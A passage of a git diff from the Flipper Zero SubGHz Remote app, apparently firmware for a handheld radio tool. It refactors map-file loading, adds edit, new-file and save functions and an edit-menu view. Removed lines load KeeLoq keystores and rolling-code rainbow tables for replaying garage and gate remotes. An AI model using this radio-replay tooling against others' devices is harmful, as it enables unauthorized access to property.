subrem_scene_openmapfile_on_enter(void* context) { - SubGhzRemoteApp* app = context; - SubRemLoadMapState load_state = subrem_load_from_file(app); - - if(load_state == SubRemLoadMapStateError) { -#ifdef SUBREM_LIGHT - dialog_message_show_storage_error(app->dialogs, "Can't load\nMap file"); -#else - DialogMessage* message = dialog_message_alloc(); - - dialog_message_set_header(message, "Map File Error", 64, 8, AlignCenter, AlignCenter); - dialog_message_set_text(message, "Can't load\nMap file", 64, 32, AlignCenter, AlignCenter); - dialog_message_set_buttons(message, "Back", NULL, NULL); - dialog_message_show(app->dialogs, message); - - dialog_message_free(message); -#endif - } - if(load_state == SubRemLoadMapStateOK || load_state == SubRemLoadMapStateNotAllOK) { - } else { - // TODO: Map Preset Reset - if(!scene_manager_search_and_switch_to_previous_scene( - app->scene_manager, SubRemSceneStart)) { - scene_manager_stop(app->scene_manager); - view_dispatcher_stop(app->view_dispatcher); - } - } -} - -bool subrem_scene_openmapfile_on_event(void* context, SceneManagerEvent event) { - UNUSED(context); - UNUSED(event); - return false; -} - -void subrem_scene_openmapfile_on_exit(void* context) { - UNUSED(context); -} diff --git a/applications/external/subghz_remote_new/scenes/subrem_scene_start.c b/applications/external/subghz_remote_new/scenes/subrem_scene_start.c index fd2d61c48..e5a254111 100644 --- a/applications/external/subghz_remote_new/scenes/subrem_scene_start.c +++ b/applications/external/subghz_remote_new/scenes/subrem_scene_start.c @@ -13,14 +13,18 @@ void subrem_scene_start_on_enter(void* context) { SubGhzRemoteApp* app = context; Submenu* submenu = app->submenu; -#if FURI_DEBUG submenu_add_item( submenu, - "Remote_Debug", - SubmenuIndexSubRemRemoteView, + "Edit Map File", + SubmenuIndexSubRemEditMapFile, + subrem_scene_start_submenu_callback, + app); + submenu_add_item( + submenu, + "New Map File", + SubmenuIndexSubRemNewMapFile, subrem_scene_start_submenu_callback, app); -#endif // submenu_add_item( // submenu, // "About", @@ -28,12 +32,10 @@ void subrem_scene_start_on_enter(void* context) { // subrem_scene_start_submenu_callback, // app); - // TODO: set scene state in subrem alloc - // submenu_set_selected_item( - // submenu, scene_manager_get_scene_state(app->scene_manager, SubRemSceneStart)); - submenu_set_selected_item(submenu, 0); + submenu_set_selected_item( + submenu, scene_manager_get_scene_state(app->scene_manager, SubRemSceneStart)); - view_dispatcher_switch_to_view(app->view_dispatcher, SubRemViewSubmenu); + view_dispatcher_switch_to_view(app->view_dispatcher, SubRemViewIDSubmenu); } bool subrem_scene_start_on_event(void* context, SceneManagerEvent event) { @@ -41,8 +43,19 @@ bool subrem_scene_start_on_event(void* context, SceneManagerEvent event) { SubGhzRemoteApp* app = context; bool consumed = false; - UNUSED(app); + if(event.type == SceneManagerEventTypeCustom) { + if(event.event == SubmenuIndexSubRemEditMapFile) { + scene_manager_set_scene_state( + app->scene_manager, SubRemSceneStart, SubmenuIndexSubRemEditMapFile); + scene_manager_next_scene(app->scene_manager, SubRemSceneOpenMapFile); + consumed = true; + } else if(event.event == SubmenuIndexSubRemNewMapFile) { + scene_manager_set_scene_state( + app->scene_manager, SubRemSceneStart, SubmenuIndexSubRemNewMapFile); + scene_manager_next_scene(app->scene_manager, SubRemSceneEnterNewName); + consumed = true; + } // } else if(event.event == SubmenuIndexSubRemAbout) { // scene_manager_next_scene(app->scene_manager, SubRemSceneAbout); // consumed = true; diff --git a/applications/external/subghz_remote_new/subghz_remote_app.c b/applications/external/subghz_remote_new/subghz_remote_app.c index b957fb8bc..e026fe4de 100644 --- a/applications/external/subghz_remote_new/subghz_remote_app.c +++ b/applications/external/subghz_remote_new/subghz_remote_app.c @@ -1,7 +1,5 @@ #include "subghz_remote_app_i.h" -#include - static bool subghz_remote_app_custom_event_callback(void* context, uint32_t event) { furi_assert(context); SubGhzRemoteApp* app = context; @@ -23,6 +21,14 @@ static void subghz_remote_app_tick_event_callback(void* context) { SubGhzRemoteApp* subghz_remote_app_alloc() { SubGhzRemoteApp* app = malloc(sizeof(SubGhzRemoteApp)); + Storage* storage = furi_record_open(RECORD_STORAGE); + storage_common_migrate(storage, EXT_PATH("unirf"), SUBREM_APP_FOLDER); + + if(!storage_simply_mkdir(storage, SUBREM_APP_FOLDER)) { + //FURI_LOG_E(TAG, "Could not create folder %s", SUBREM_APP_FOLDER); + } + furi_record_close(RECORD_STORAGE); + // Enable power for External CC1101 if it is connected furi_hal_subghz_enable_ext_power(); // Auto switch to internal radio if external radio is not available @@ -62,11 +68,25 @@ SubGhzRemoteApp* subghz_remote_app_alloc() { // SubMenu app->submenu = submenu_alloc(); view_dispatcher_add_view( - app->view_dispatcher, SubRemViewSubmenu, submenu_get_view(app->submenu)); + app->view_dispatcher, SubRemViewIDSubmenu, submenu_get_view(app->submenu)); - //Dialog + // Dialog app->dialogs = furi_record_open(RECORD_DIALOGS); + // TextInput + app->text_input = text_input_alloc(); + view_dispatcher_add_view( + app->view_dispatcher, SubRemViewIDTextInput, text_input_get_view(app->text_input)); + + // Widget + app->widget = widget_alloc(); + view_dispatcher_add_view( + app->view_dispatcher, SubRemViewIDWidget, widget_get_view(app->widget)); + + // Popup + app->popup = popup_alloc(); + view_dispatcher_add_view(app->view_dispatcher, SubRemViewIDPopup, popup_get_view(app->popup)); + // Remote view app->subrem_remote_view = subrem_view_remote_alloc(); view_dispatcher_add_view( @@ -74,34 +94,30 @@ SubGhzRemoteApp* subghz_remote_app_alloc() { SubRemViewIDRemote, subrem_view_remote_get_view(app->subrem_remote_view)); + // Edit Menu view + app->subrem_edit_menu = subrem_view_edit_menu_alloc(); + view_dispatcher_add_view( + app->view_dispatcher, + SubRemViewIDEditMenu, + subrem_view_edit_menu_get_view(app->subrem_edit_menu)); + + app->map_preset = malloc(sizeof(SubRemMapPreset)); for(uint8_t i = 0; i < SubRemSubKeyNameMaxCount; i++) { - app->subs_preset[i] = subrem_sub_file_preset_alloc(); + app->map_preset->subs_preset[i] = subrem_sub_file_preset_alloc(); } - app->setting = subghz_setting_alloc(); - subghz_setting_load(app->setting, EXT_PATH("subghz/assets/setting_user")); + app->txrx = subghz_txrx_alloc(); - app->environment = subghz_environment_alloc(); + subghz_txrx_set_need_save_callback(app->txrx, subrem_save_active_sub, app); - subghz_environment_load_keystore(app->environment, EXT_PATH("subghz/assets/keeloq_mfcodes")); - subghz_environment_load_keystore( - app->environment, EXT_PATH("subghz/assets/keeloq_mfcodes_user")); - subghz_environment_set_came_atomo_rainbow_table_file_name( - app->environment, EXT_PATH("subghz/assets/came_atomo")); - subghz_environment_set_alutech_at_4n_rainbow_table_file_name( - app->environment, EXT_PATH("subghz/assets/alutech_at_4n")); - subghz_environment_set_nice_flor_s_rainbow_table_file_name( - app->environment, EXT_PATH("subghz/assets/nice_flor_s")); - subghz_environment_set_protocol_registry(app->environment, (void*)&subghz_protocol_registry); - - app->receiver = subghz_receiver_alloc_init(app->environment); - - app->tx_running = false; + app->map_not_saved = false; #ifdef SUBREM_LIGHT scene_manager_next_scene(app->scene_manager, SubRemSceneOpenMapFile); #else scene_manager_next_scene(app->scene_manager, SubRemSceneStart); + scene_manager_set_scene_state( + app->scene_manager, SubRemSceneStart, SubmenuIndexSubRemEditMapFile); #endif return app; @@ -118,26 +134,41 @@ void subghz_remote_app_free(SubGhzRemoteApp* app) { furi_hal_subghz_init_radio_type(SubGhzRadioInternal); // Submenu - view_dispatcher_remove_view(app->view_dispatcher, SubRemViewSubmenu); + view_dispatcher_remove_view(app->view_dispatcher, SubRemViewIDSubmenu); submenu_free(app->submenu); - //Dialog + // Dialog furi_record_close(RECORD_DIALOGS); + // TextInput + view_dispatcher_remove_view(app->view_dispatcher, SubRemViewIDTextInput); + text_input_free(app->text_input); + + // Widget + view_dispatcher_remove_view(app->view_dispatcher, SubRemViewIDWidget); + widget_free(app->widget); + + // Popup + view_dispatcher_remove_view(app->view_dispatcher, SubRemViewIDPopup); + popup_free(app->popup); + // Remote view view_dispatcher_remove_view(app->view_dispatcher, SubRemViewIDRemote); subrem_view_remote_free(app->subrem_remote_view); + // Edit view + view_dispatcher_remove_view(app->view_dispatcher, SubRemViewIDEditMenu); + subrem_view_edit_menu_free(app->subrem_edit_menu); + scene_manager_free(app->scene_manager); view_dispatcher_free(app->view_dispatcher); - subghz_receiver_free(app->receiver); - subghz_environment_free(app->environment); - subghz_setting_free(app->setting); + subghz_txrx_free(app->txrx); for(uint8_t i = 0; i < SubRemSubKeyNameMaxCount; i++) { - subrem_sub_file_preset_free(app->subs_preset[i]); + subrem_sub_file_preset_free(app->map_preset->subs_preset[i]); } + free(app->map_preset); // Notifications furi_record_close(RECORD_NOTIFICATION); diff --git a/applications/external/subghz_remote_new/subghz_remote_app_i.c b/applications/external/subghz_remote_new/subghz_remote_app_i.c index aa8983951..1eb64541f 100644 --- a/applications/external/subghz_remote_new/subghz_remote_app_i.c +++ b/applications/external/subghz_remote_new/subghz_remote_app_i.c @@ -2,12 +2,13 @@ #include #include -#include +#include "helpers/txrx/subghz_txrx.h" // #include // #include -#include +// #include +// #include #define TAG "SubGhzRemote" @@ -19,280 +20,46 @@ static const char* map_file_labels[SubRemSubKeyNameMaxCount][2] = { [SubRemSubKeyNameOk] = {"OK", "OKLABEL"}, }; -static bool - subrem_set_preset_data(SubGhzSetting* setting, FreqPreset* freq_preset, const char* preset) { - const char* preset_name = ""; - if(!strcmp(preset, "FuriHalSubGhzPresetOok270Async")) { - preset_name = "AM270"; - } else if(!strcmp(preset, "FuriHalSubGhzPresetOok650Async")) { - preset_name = "AM650"; - } else if(!strcmp(preset, "FuriHalSubGhzPreset2FSKDev238Async")) { - preset_name = "FM238"; - } else if(!strcmp(preset, "FuriHalSubGhzPreset2FSKDev476Async")) { - preset_name = "FM476"; - } else if(!strcmp(preset, "FuriHalSubGhzPresetCustom")) { - // preset_name = "CUSTOM"; - return false; - } else { - FURI_LOG_E(TAG, "Unknown preset"); - return false; - } - size_t preset_index = subghz_setting_get_inx_preset_by_name(setting, preset_name); - freq_preset->data = subghz_setting_get_preset_data(setting, preset_index); - return true; -} - -SubRemSubFilePreset* subrem_sub_file_preset_alloc() { - SubRemSubFilePreset* sub_preset = malloc(sizeof(SubRemSubFilePreset)); - - sub_preset->fff_data = flipper_format_string_alloc(); - sub_preset->file_path = furi_string_alloc(); - sub_preset->protocaol_name = furi_string_alloc(); - sub_preset->label = furi_string_alloc_set_str("N/A"); - - sub_preset->type = SubGhzProtocolTypeUnknown; - sub_preset->load_state = SubRemLoadSubStateNotSet; - - return sub_preset; -} - -void subrem_sub_file_preset_free(SubRemSubFilePreset* sub_preset) { - furi_assert(sub_preset); - - furi_string_free(sub_preset->label); - furi_string_free(sub_preset->protocaol_name); - furi_string_free(sub_preset->file_path); - flipper_format_free(sub_preset->fff_data); - - free(sub_preset); -} - -static void subrem_sub_file_preset_reset(SubRemSubFilePreset* sub_preset) { - furi_assert(sub_preset); - - furi_string_set_str(sub_preset->label, "N/A"); - furi_string_reset(sub_preset->protocaol_name); - furi_string_reset(sub_preset->file_path); - - Stream* fff_data_stream = flipper_format_get_raw_stream(sub_preset->fff_data); - stream_clean(fff_data_stream); - - sub_preset->type = SubGhzProtocolTypeUnknown; - sub_preset->load_state = SubRemLoadSubStateNotSet; -} - -void subrem_map_preset_reset(SubGhzRemoteApp* app) { - furi_assert(app); +void subrem_map_preset_reset(SubRemMapPreset* map_preset) { + furi_assert(map_preset); for(uint8_t i = 0; i < SubRemSubKeyNameMaxCount; i++) { - subrem_sub_file_preset_reset(app->subs_preset[i]); + subrem_sub_file_preset_reset(map_preset->subs_preset[i]); } } -static bool subrem_map_preset_load(SubGhzRemoteApp* app, FlipperFormat* fff_data_file) { - furi_assert(app); - bool ret = false; - SubRemSubFilePreset* sub_preset; - for(uint8_t i = 0; i < SubRemSubKeyNameMaxCount; i++) { - sub_preset = app->subs_preset[i]; - if(!flipper_format_read_string( - fff_data_file, map_file_labels[i][0], sub_preset->file_path)) { -#if FURI_DEBUG - FURI_LOG_W(TAG, "No file patch for %s", map_file_labels[i][0]); -#endif - sub_preset->type = SubGhzProtocolTypeUnknown; - } else if(!flipper_format_rewind(fff_data_file)) { - // Rewind error - } else if(!flipper_format_read_string( - fff_data_file, map_file_labels[i][1], sub_preset->label)) { -#if FURI_DEBUG - FURI_LOG_W(TAG, "No Label for %s", map_file_labels[i][0]); -#endif - path_extract_filename(sub_preset->file_path, sub_preset->label, true); - } else { - // Preload seccesful - FURI_LOG_I( - TAG, - "%-5s: %s %s", - map_file_labels[i][0], - furi_string_get_cstr(sub_preset->label), - furi_string_get_cstr(sub_preset->file_path)); - ret = true; - sub_preset->load_state = SubRemLoadSubStatePreloaded; - } - flipper_format_rewind(fff_data_file); - } - return ret; -} +static SubRemLoadMapState subrem_map_preset_check( + SubRemMapPreset* map_preset, + SubGhzTxRx* txrx, + FlipperFormat* fff_data_file) { + furi_assert(map_preset); + furi_assert(txrx); -bool subrem_save_protocol_to_file(FlipperFormat* flipper_format, const char* dev_file_name) { - furi_assert(flipper_format); - furi_assert(dev_file_name); - - Storage* storage = furi_record_open(RECORD_STORAGE); - Stream* flipper_format_stream = flipper_format_get_raw_stream(flipper_format); - - bool saved = false; - uint32_t repeat = 200; - FuriString* file_dir = furi_string_alloc(); - - path_extract_dirname(dev_file_name, file_dir); - do { - // removing additional fields - flipper_format_delete_key(flipper_format, "Repeat"); - // flipper_format_delete_key(flipper_format, "Manufacture"); - - if(!storage_simply_remove(storage, dev_file_name)) { - break; - } - - //ToDo check Write - stream_seek(flipper_format_stream, 0, StreamOffsetFromStart); - stream_save_to_file(flipper_format_stream, storage, dev_file_name, FSOM_CREATE_ALWAYS); - - if(!flipper_format_insert_or_update_uint32(flipper_format, "Repeat", &repeat, 1)) { - FURI_LOG_E(TAG, "Unable Repeat"); - break; - } - - saved = true; - } while(0); - - furi_string_free(file_dir); - furi_record_close(RECORD_STORAGE); - return saved; -} - -static SubRemLoadMapState - subrem_map_preset_check(SubGhzRemoteApp* app, FlipperFormat* fff_data_file) { - furi_assert(app); - FuriString* temp_str = furi_string_alloc(); - uint32_t temp_data32; bool all_loaded = true; SubRemLoadMapState ret = SubRemLoadMapStateErrorBrokenFile; - SubRemLoadSubState sub_preset_loaded; + + SubRemLoadSubState sub_loadig_state; SubRemSubFilePreset* sub_preset; - uint32_t repeat = 200; + for(uint8_t i = 0; i < SubRemSubKeyNameMaxCount; i++) { - sub_preset = app->subs_preset[i]; + sub_preset = map_preset->subs_preset[i]; + + sub_loadig_state = SubRemLoadSubStateErrorNoFile; + if(furi_string_empty(sub_preset->file_path)) { // FURI_LOG_I(TAG, "Empty file path"); - continue; + } else if(!flipper_format_file_open_existing( + fff_data_file, furi_string_get_cstr(sub_preset->file_path))) { + sub_preset->load_state = SubRemLoadSubStateErrorNoFile; + FURI_LOG_W(TAG, "Error open file %s", furi_string_get_cstr(sub_preset->file_path)); + } else { + sub_loadig_state = subrem_sub_preset_load(sub_preset, txrx, fff_data_file); } - sub_preset_loaded = SubRemLoadSubStateErrorNoFile; - - repeat = 200; - do { - if(!flipper_format_file_open_existing( - fff_data_file, furi_string_get_cstr(sub_preset->file_path))) { - FURI_LOG_W(TAG, "Error open file %s", furi_string_get_cstr(sub_preset->file_path)); - break; - } - - if(!flipper_format_read_header(fff_data_file, temp_str, &temp_data32)) { - FURI_LOG_E(TAG, "Missing or incorrect header"); - break; - } - - if(((!strcmp(furi_string_get_cstr(temp_str), SUBGHZ_KEY_FILE_TYPE)) || - (!strcmp(furi_string_get_cstr(temp_str), SUBGHZ_RAW_FILE_TYPE))) && - temp_data32 == SUBGHZ_KEY_FILE_VERSION) { - } else { - FURI_LOG_E(TAG, "Type or version mismatch"); - break; - } - - //Load frequency - sub_preset_loaded = SubRemLoadSubStateErrorFreq; - if(!flipper_format_read_uint32(fff_data_file, "Frequency", &temp_data32, 1)) { - FURI_LOG_W(TAG, "Cannot read frequency. Set default frequency"); - sub_preset->freq_preset.frequency = - subghz_setting_get_default_frequency(app->setting); - } else if(!furi_hal_subghz_is_tx_allowed(temp_data32)) { - FURI_LOG_E(TAG, "This frequency can only be used for RX"); - break; - } else { - sub_preset->freq_preset.frequency = temp_data32; - } - - //Load preset - sub_preset_loaded = SubRemLoadSubStateErrorMod; - if(!flipper_format_read_string(fff_data_file, "Preset", temp_str)) { - FURI_LOG_E(TAG, "Missing Preset"); - break; - } - - if(!subrem_set_preset_data( - app->setting, &sub_preset->freq_preset, furi_string_get_cstr(temp_str))) { - FURI_LOG_E(TAG, "Cannot load preset."); - break; - } - - //Load protocol - sub_preset_loaded = SubRemLoadSubStateErrorProtocol; - if(!flipper_format_read_string(fff_data_file, "Protocol", temp_str)) { - FURI_LOG_E(TAG, "Missing Protocol"); - break; - } - - FlipperFormat* fff_data = sub_preset->fff_data; - if(!strcmp(furi_string_get_cstr(temp_str), "RAW")) { - //if RAW - subghz_protocol_raw_gen_fff_data( - fff_data, furi_string_get_cstr(sub_preset->file_path)); - } else { - stream_copy_full( - flipper_format_get_raw_stream(fff_data_file), - flipper_format_get_raw_stream(fff_data)); - } - - const SubGhzProtocolRegistry* protocol_registry_items = - subghz_environment_get_protocol_registry(app->environment); - - const SubGhzProtocol* protocol = subghz_protocol_registry_get_by_name( - protocol_registry_items, furi_string_get_cstr(temp_str)); - - if(!protocol) { - FURI_LOG_E(TAG, "Protocol not found"); - break; - } else if(protocol->flag & SubGhzProtocolFlag_Send) { - if((protocol->type == SubGhzProtocolTypeStatic) || - (protocol->type == SubGhzProtocolTypeDynamic) || - // (protocol->type == SubGhzProtocolTypeBinRAW) || // TODO: BINRAW - (protocol->type == SubGhzProtocolTypeRAW)) { - sub_preset->type = protocol->type; - } else { - FURI_LOG_E(TAG, "Unsuported Protocol"); - break; - } - - furi_string_set(sub_preset->protocaol_name, temp_str); - } else { - FURI_LOG_E(TAG, "Protocol does not support transmission"); - } - - if(!flipper_format_insert_or_update_uint32(fff_data, "Repeat", &repeat, 1)) { - FURI_LOG_E(TAG, "Unable Repeat"); - break; - } - - sub_preset_loaded = SubRemLoadSubStateOK; - ret = SubRemLoadMapStateNotAllOK; - -#if FURI_DEBUG - FURI_LOG_I(TAG, "%-16s - protocol Loaded", furi_string_get_cstr(sub_preset->label)); -#endif - } while(false); - - // TODO: - // Load file state logic - // Label depending on the state - // Move to remote scene - - if(sub_preset_loaded != SubRemLoadSubStateOK) { - furi_string_set_str(sub_preset->label, "N/A"); + if(sub_loadig_state != SubRemLoadSubStateOK) { all_loaded = false; + } else { + ret = SubRemLoadMapStateNotAllOK; } if(ret != SubRemLoadMapStateErrorBrokenFile && all_loaded) { @@ -301,11 +68,52 @@ static SubRemLoadMapState flipper_format_file_close(fff_data_file); } - furi_string_free(temp_str); return ret; } +static bool subrem_map_preset_load(SubRemMapPreset* map_preset, FlipperFormat* fff_data_file) { + furi_assert(map_preset); + bool ret = false; + SubRemSubFilePreset* sub_preset; + for(uint8_t i = 0; i < SubRemSubKeyNameMaxCount; i++) { + sub_preset = map_preset->subs_preset[i]; + if(!flipper_format_read_string( + fff_data_file, map_file_labels[i][0], sub_preset->file_path)) { +#if FURI_DEBUG + FURI_LOG_W(TAG, "No file patch for %s", map_file_labels[i][0]); +#endif + sub_preset->type = SubGhzProtocolTypeUnknown; + } else if(!path_contains_only_ascii(furi_string_get_cstr(sub_preset->file_path))) { + FURI_LOG_E(TAG, "Incorrect characters in [%s] file path", map_file_labels[i][0]); + sub_preset->type = SubGhzProtocolTypeUnknown; + } else if(!flipper_format_rewind(fff_data_file)) { + // Rewind error + } else if(!flipper_format_read_string( + fff_data_file, map_file_labels[i][1], sub_preset->label)) { +#if FURI_DEBUG + FURI_LOG_W(TAG, "No Label for %s", map_file_labels[i][0]); +#endif + ret = true; + } else { + ret = true; + } + if(ret) { + // Preload seccesful + FURI_LOG_I( + TAG, + "%-5s: %s %s", + map_file_labels[i][0], + furi_string_get_cstr(sub_preset->label), + furi_string_get_cstr(sub_preset->file_path)); + sub_preset->load_state = SubRemLoadSubStatePreloaded; + } + + flipper_format_rewind(fff_data_file); + } + return ret; +} + SubRemLoadMapState subrem_map_file_load(SubGhzRemoteApp* app, const char* file_path) { furi_assert(app); furi_assert(file_path); @@ -318,19 +126,19 @@ SubRemLoadMapState subrem_map_file_load(SubGhzRemoteApp* app, const char* file_p #if FURI_DEBUG FURI_LOG_I(TAG, "Open Map File.."); #endif - subrem_map_preset_reset(app); + subrem_map_preset_reset(app->map_preset); if(!flipper_format_file_open_existing(fff_data_file, file_path)) { FURI_LOG_E(TAG, "Could not open MAP file %s", file_path); ret = SubRemLoadMapStateErrorOpenError; } else { - if(!subrem_map_preset_load(app, fff_data_file)) { + if(!subrem_map_preset_load(app->map_preset, fff_data_file)) { FURI_LOG_E(TAG, "Could no Sub file path in MAP file"); // ret = // error for popup } else if(!flipper_format_file_close(fff_data_file)) { ret = SubRemLoadMapStateErrorOpenError; } else { - ret = subrem_map_preset_check(app, fff_data_file); + ret = subrem_map_preset_check(app->map_preset, app->txrx, fff_data_file); } } @@ -349,6 +157,53 @@ SubRemLoadMapState subrem_map_file_load(SubGhzRemoteApp* app, const char* file_p return ret; } +bool subrem_save_protocol_to_file(FlipperFormat* flipper_format, const char* sub_file_name) { + furi_assert(flipper_format); + furi_assert(sub_file_name); + + Storage* storage = furi_record_open(RECORD_STORAGE); + Stream* flipper_format_stream = flipper_format_get_raw_stream(flipper_format); + + bool saved = false; + uint32_t repeat = 200; + FuriString* file_dir = furi_string_alloc(); + + path_extract_dirname(sub_file_name, file_dir); + do { + // removing additional fields + flipper_format_delete_key(flipper_format, "Repeat"); + // flipper_format_delete_key(flipper_format, "Manufacture"); + + if(!storage_simply_remove(storage, sub_file_name)) { + break; + } + + //ToDo check Write + stream_seek(flipper_format_stream, 0, StreamOffsetFromStart); + stream_save_to_file(flipper_format_stream, storage, sub_file_name, FSOM_CREATE_ALWAYS); + + if(!flipper_format_insert_or_update_uint32(flipper_format, "Repeat", &repeat, 1)) { + FURI_LOG_E(TAG, "Unable Repeat"); + break; + } + + saved = true; + } while(0); + + furi_string_free(file_dir); + furi_record_close(RECORD_STORAGE); + return saved; +} + +void subrem_save_active_sub(void* context) { + furi_assert(context); + SubGhzRemoteApp* app = context; + + SubRemSubFilePreset* sub_preset = app->map_preset->subs_preset[app->chusen_sub]; + subrem_save_protocol_to_file( + sub_preset->fff_data, furi_string_get_cstr(sub_preset->file_path)); +} + SubRemLoadMapState subrem_load_from_file(SubGhzRemoteApp* app) { furi_assert(app); @@ -356,7 +211,7 @@ SubRemLoadMapState subrem_load_from_file(SubGhzRemoteApp* app) { SubRemLoadMapState ret = SubRemLoadMapStateBack; DialogsFileBrowserOptions browser_options; - dialog_file_browser_set_basic_options(&browser_options, SUBREM_APP_EXTENSION, &I_sub1_10px); + dialog_file_browser_set_basic_options(&browser_options, SUBREM_APP_EXTENSION, &I_subrem_10px); browser_options.base_path = SUBREM_APP_FOLDER; // Input events and views are managed by file_select @@ -369,3 +224,47 @@ SubRemLoadMapState subrem_load_from_file(SubGhzRemoteApp* app) { return ret; } + +bool subrem_save_map_to_file(SubGhzRemoteApp* app) { + furi_assert(app); + + const char* file_name = furi_string_get_cstr(app->file_path); + bool saved = false; + FlipperFormat* fff_data = flipper_format_string_alloc(); + + SubRemSubFilePreset* sub_preset; + + flipper_format_write_header_cstr( + fff_data, SUBREM_APP_APP_FILE_TYPE, SUBREM_APP_APP_FILE_VERSION); + for(uint8_t i = 0; i < SubRemSubKeyNameMaxCount; i++) { + sub_preset = app->map_preset->subs_preset[i]; + if(!furi_string_empty(sub_preset->file_path)) { + flipper_format_write_string(fff_data, map_file_labels[i][0], sub_preset->file_path); + } + } + for(uint8_t i = 0; i < SubRemSubKeyNameMaxCount; i++) { + sub_preset = app->map_preset->subs_preset[i]; + if(!furi_string_empty(sub_preset->file_path)) { + flipper_format_write_string(fff_data, map_file_labels[i][1], sub_preset->label); + } + } + + Storage* storage = furi_record_open(RECORD_STORAGE); + Stream* flipper_format_stream = flipper_format_get_raw_stream(fff_data); + + do { + if(!storage_simply_remove(storage, file_name)) { + break; + } + //ToDo check Write + stream_seek(flipper_format_stream, 0, StreamOffsetFromStart); + stream_save_to_file(flipper_format_stream, storage, file_name, FSOM_CREATE_ALWAYS); + + saved = true; + } while(0); + + furi_record_close(RECORD_STORAGE); + flipper_format_free(fff_data); + + return saved; +} \ No newline at end of file diff --git a/applications/external/subghz_remote_new/subghz_remote_app_i.h b/applications/external/subghz_remote_new/subghz_remote_app_i.h index 1bcb79d8f..7a07d768a 100644 --- a/applications/external/subghz_remote_new/subghz_remote_app_i.h +++ b/applications/external/subghz_remote_new/subghz_remote_app_i.h @@ -1,29 +1,28 @@ #pragma once #include "helpers/subrem_types.h" +#include "helpers/subrem_presets.h" +#include "scenes/subrem_scene.h" + +#include "helpers/txrx/subghz_txrx.h" #include -// #include - #include "views/remote.h" - -#include "scenes/subrem_scene.h" +#include "views/edit_menu.h" #include #include #include #include #include -#include #include -#include -#include #include +#include +#include +#include #include -#include - #include #include #include @@ -31,48 +30,38 @@ #define SUBREM_APP_FOLDER EXT_PATH("subghz_remote") #define SUBREM_MAX_LEN_NAME 64 -typedef struct { - uint32_t frequency; - uint8_t* data; -} FreqPreset; - -// Sub File preset -typedef struct { - FlipperFormat* fff_data; - FreqPreset freq_preset; - FuriString* file_path; - FuriString* protocaol_name; - FuriString* label; - SubGhzProtocolType type; - SubRemLoadSubState load_state; -} SubRemSubFilePreset; - -SubRemSubFilePreset* subrem_sub_file_preset_alloc(); - -void subrem_sub_file_preset_free(SubRemSubFilePreset* sub_preset); - typedef struct { Gui* gui; ViewDispatcher* view_dispatcher; SceneManager* scene_manager; NotificationApp* notifications; DialogsApp* dialogs; + Widget* widget; + Popup* popup; + TextInput* text_input; Submenu* submenu; + FuriString* file_path; char file_name_tmp[SUBREM_MAX_LEN_NAME]; SubRemViewRemote* subrem_remote_view; + SubRemViewEditMenu* subrem_edit_menu; - SubRemSubFilePreset* subs_preset[SubRemSubKeyNameMaxCount]; + SubRemMapPreset* map_preset; - SubGhzSetting* setting; - SubGhzEnvironment* environment; - SubGhzReceiver* receiver; - SubGhzTransmitter* transmitter; + SubGhzTxRx* txrx; - bool tx_running; + bool map_not_saved; uint8_t chusen_sub; } SubGhzRemoteApp; SubRemLoadMapState subrem_load_from_file(SubGhzRemoteApp* app); + +SubRemLoadMapState subrem_map_file_load(SubGhzRemoteApp* app, const char* file_path); + +void subrem_map_preset_reset(SubRemMapPreset* map_preset); + +bool subrem_save_map_to_file(SubGhzRemoteApp* app); + +void subrem_save_active_sub(void* context); \ No newline at end of file diff --git a/applications/external/subghz_remote_new/views/edit_menu.c b/applications/external/subghz_remote_new/views/edit_menu.c new file mode 100644 index 000000000..9b88182b5 --- /dev/null +++ b/applications/external/subghz_remote_new/views/edit_menu.c @@ -0,0 +1,290 @@ +#include "edit_menu.h" +#include "../subghz_remote_app_i.h" + +#include +#include + +#define subrem_view_edit_menu_MAX_LABEL_LENGTH 12 + +#define FRAME_HEIGHT 12 + +struct SubRemViewEditMenu { + View* view; + SubRemViewEditMenuCallback callback; + void* context; +}; + +typedef struct { + FuriString* label; + FuriString* file_path; + SubRemLoadSubState sub_state; + + uint8_t chusen; +} SubRemViewEditMenuModel; + +void subrem_view_edit_menu_set_callback( + SubRemViewEditMenu* subrem_view_edit_menu, + SubRemViewEditMenuCallback callback, + void* context) { + furi_assert(subrem_view_edit_menu); + + subrem_view_edit_menu->callback = callback; + subrem_view_edit_menu->context = context; +} + +void subrem_view_edit_menu_add_data_to_show( + SubRemViewEditMenu* subrem_view_edit_remote, + uint8_t index, + FuriString* label, + FuriString* path, + SubRemLoadSubState state) { + furi_assert(subrem_view_edit_remote); + + with_view_model( + subrem_view_edit_remote->view, + SubRemViewEditMenuModel * model, + { + model->chusen = index; + if(!furi_string_empty(label)) { + furi_string_set(model->label, label); + } else { + furi_string_set(model->label, "Empty label"); + } + furi_string_set(model->file_path, path); + model->sub_state = state; + }, + true); +} + +uint8_t subrem_view_edit_menu_get_index(SubRemViewEditMenu* subrem_view_edit_remote) { + furi_assert(subrem_view_edit_remote); + uint8_t index; + + with_view_model( + subrem_view_edit_remote->view, + SubRemViewEditMenuModel * model, + { index = model->chusen; }, + true); + return index; +} + +void subrem_view_edit_menu_draw(Canvas* canvas, SubRemViewEditMenuModel* model) { + canvas_clear(canvas); + canvas_set_color(canvas, ColorBlack); + + canvas_clear(canvas); + + // Draw bottom btn + canvas_set_font(canvas, FontSecondary); + elements_button_left(canvas, "Back"); + elements_button_center(canvas, "Edit"); + elements_button_right(canvas, "Save"); + + // Draw top frame + canvas_draw_line(canvas, 1, 0, 125, 0); + canvas_draw_box(canvas, 0, 1, 127, FRAME_HEIGHT - 2); + canvas_draw_line(canvas, 1, FRAME_HEIGHT - 1, 125, FRAME_HEIGHT - 1); + + canvas_set_color(canvas, ColorWhite); + + // Draw btn name + canvas_set_font(canvas, FontPrimary); + switch(model->chusen) { + case SubRemSubKeyNameUp: + canvas_draw_str(canvas, 3, FRAME_HEIGHT - 2, "UP"); + break; + + case SubRemSubKeyNameDown: + canvas_draw_str(canvas, 3, FRAME_HEIGHT - 2, "DOWN"); + break; + + case SubRemSubKeyNameLeft: + canvas_draw_str(canvas, 3, FRAME_HEIGHT - 2, "LEFT"); + break; + + case SubRemSubKeyNameRight: + canvas_draw_str(canvas, 3, FRAME_HEIGHT - 2, "RIGHT"); + break; + + case SubRemSubKeyNameOk: + canvas_draw_str(canvas, 3, FRAME_HEIGHT - 2, "OK"); + break; + + default: + break; + } + + // Draw Label + canvas_set_font(canvas, FontSecondary); + elements_text_box( + canvas, + 38, + 2, + 127 - 38, + FRAME_HEIGHT, + AlignCenter, + 